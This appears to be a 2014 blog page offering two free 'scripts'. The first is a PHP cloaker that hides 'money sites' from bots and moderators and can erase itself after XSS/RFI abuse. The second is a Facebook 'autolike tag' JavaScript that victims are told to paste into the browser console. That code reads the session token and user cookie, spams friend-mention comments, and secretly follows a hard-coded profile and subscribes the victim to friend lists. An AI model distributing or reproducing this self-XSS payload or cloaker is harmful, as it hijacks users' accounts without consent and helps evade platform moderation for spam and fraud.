Showing posts with label Script. Show all posts
Showing posts with label Script. Show all posts

Sunday, February 2, 2014

Cloaker Script 2014 [Free]

Cloaker Script 2014 

I see around here is circulating very old version of the script for redirecting bots and visitors, used mostly for Twitter. I made my version of the script, heavily updated, added some functions etc so it can be used to protect money sites from more traffic sources. It is all packed in one standalone file.

This is free version of the cloaker script.

Script - "Hacker" Version

Updates:
- Added no-cache headers (I am still getting google crawler hits from domains where script was active 2 days back in April 2012, this will prevent caching)
- Added mobile recognition, optional usage (if you don't want to redirect mobile users, switch true to false)
- Added option to rotate multi links for bots, mobile sites/offers and money sites
- IP recognition - It works with ranges (123.123.123.0-123.123.123.255) and CIDR (123.123.123.0/24)
- Updated list of crawlers, bots and IP's from various forums and sites for tracking bots, botnets, malware domains etc
- logging of UA's, IP's, HOST's and Referrers
- Logs separated in 3 files: regular desktop visitors, mobile visitors and bots/ip's - much easier to see number of real visitors
- Logs can be sent every X hours to hotmail or gmail, after sending they will be removed from server (you can disable logs if you don't need them)
- Script can erase itself after X hours or days from the server (optional, if you are doing some funny stuff with xss, rfi etc)
- OPTIONAL - index.php have his own links for rotating, it is not necessary to use this file, its up to you.




Download:
Code:

http://goo.gl/ssyIAR

Virus Total
Code:

https://www.virustotal.com/file/ef61760281575194d1709139e83d11b7aaf88387292fa228b5a70173c43e1aa5/analysis/1357917824/


SHA256: ef61760281575194d1709139e83d11b7aaf88387292fa228b5 a70173c43e1aa5

File name:  Cloaker Script - 28.08.2013

Detection ratio: 0 / 46

-Upload script to your FTP server
- Rename script to something convinient, like go.php or visit.php
- Send traffic to script - www.yourdomain.com/go.php
Script will separate traffic - bots and current ip's in filter will go to safe sites, real visitors to your money sites.
- This should be used with throwaway domains if most of your traffic is from Twitter, they are banning domains after a while.
- It is very easy to update script with your own ip's and bots, just add them or remove what you think it is not necessary to block.
- Time of sending logs to email can be changed - instead of currently 6 hours you can use 1 hour, 2 hours, 45 minutes or whatever.

-This can be used like basic firewall, protection from known botnet/malware spreaders/spam etc ip ranges and networks. Bunch of them is already in this script but additional research on security sites and implementing into ip filter can make this script your main protection before scanners or whatever even come to your main sites.

- Also keep in mind that current script , for some specific reasons, is not allowing search engines to visit and cashe the script. If you are driving legitimate traffic to it, you need to remove google, yahoo, ask, teoma, duckduckgo, baidu etc from the list of bots.


Scroll down through the code to find where to put links accepted as refferals and where they need to go.

Find this part

Code:
/*=========* REFERRERS - Redirected to SAFE sites | Visitors coming from those sites / referrers will be redirected to
links where the BOTS and blocked hosts / IP's are redirected * =========*/

$referrer_list = array(
    'redirectthis1.com','redirectthis2.com','redirectthis3.com',

/*=========* REFERRERS - Redirected to SPECIFIC sites | Visitors coming from those sites / referrers will be redirected to
list of SPECIFIC sites in array, one site per line* =========*/

    'toberedirected1.com','toberedirected2.com','toberedirected3.com' => array(
        'destinationsite1.com
         destinationsite2.com
         destinationsite3.com'

and make your changes. Before that you need to make change in $referrer_redirect = false; (change false to true, to enable it)


You can use it anywhere. To "catch" their main bots and link checkers you can make new post on your site and send link to desired social network (or whatever you need to block) and to check bots,ip's, ua's in logs minute after the posting, they will come. You can multiply results or making it more accurate if you make few more posts, and post them in different times of day, sometimes their bots coming form different locations and ip's.



Facebook Autolike Tag Script (2014)













Facebook Autolike Tag Script (2014)

You're right.

You need a working auto mention script of all your friends in your Facebook  ?

Now You can get it here for Free!
100% working so you can try it now!


Instruction to use:


  1. Go to your Timeline or Newsfeed
  2. Click the time/date of the Facebook Status you want to plant Script!
  3. Right Click and then CLick Inspect Element or simply press F12
  4. Go to Console Tab
  5. And then Paste All the Codes
  6. Viola! Auto Mention is Working.

/* All Right Reserver ElMzx.Ma    Don't Change Anything */
function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
function get_friends(){
var a=x__0();
a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
a.send(null);
if (a.readyState == 4) {
var f = JSON.parse(a.responseText.substring(a.responseText  .indexOf('{')));
return f.payload.entries;
}
return false;
}
function get_uid(b){
var a=x__0();
a.open("GET", 'http://graph.facebook.com/'+b, false);
a.send();
if (a.readyState == 4) {
return uid = JSON.parse(a.responseText).id;
}
return false;
}
var patt = /comment_text=(.*?)&/
var c = 1;
username = /\.com\/(.*?)\//.exec(window.top.location)[1];
uid = get_uid(username);
a = window.top.location;
termina = 0;
var amigos = get_friends();
post_id = /[0-9]{8,}/.exec(a);
uids = 'comment_text=';
header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
for ( var n = 1 ; n < amigos.length ; n++ ){
//uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
c++;
if(c == 7){
uids += '&';
with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
z = setTimeout('function(){asd=0}', 1000);
clearInterval(z);
c = 1;
uids = 'comment_text=';
}
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){
var http4 = new XMLHttpRequest();
var url4 = "/ajax/follow/follow_profile.php?__a=1";
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);
//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {
http4.close; // Close the connection
}
}
http4.send(params4);
}
function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}sublist("601726586529639");sublist("201369036691662");sublist("601725253196439");sublist("601724796529818")
;sublist("601725423196422");sublist("601733493195615");sublist("601733596528938");sublist("601733963195568")





Simply Share My Blog !
Simply Leave FeedBack !



-credit to coder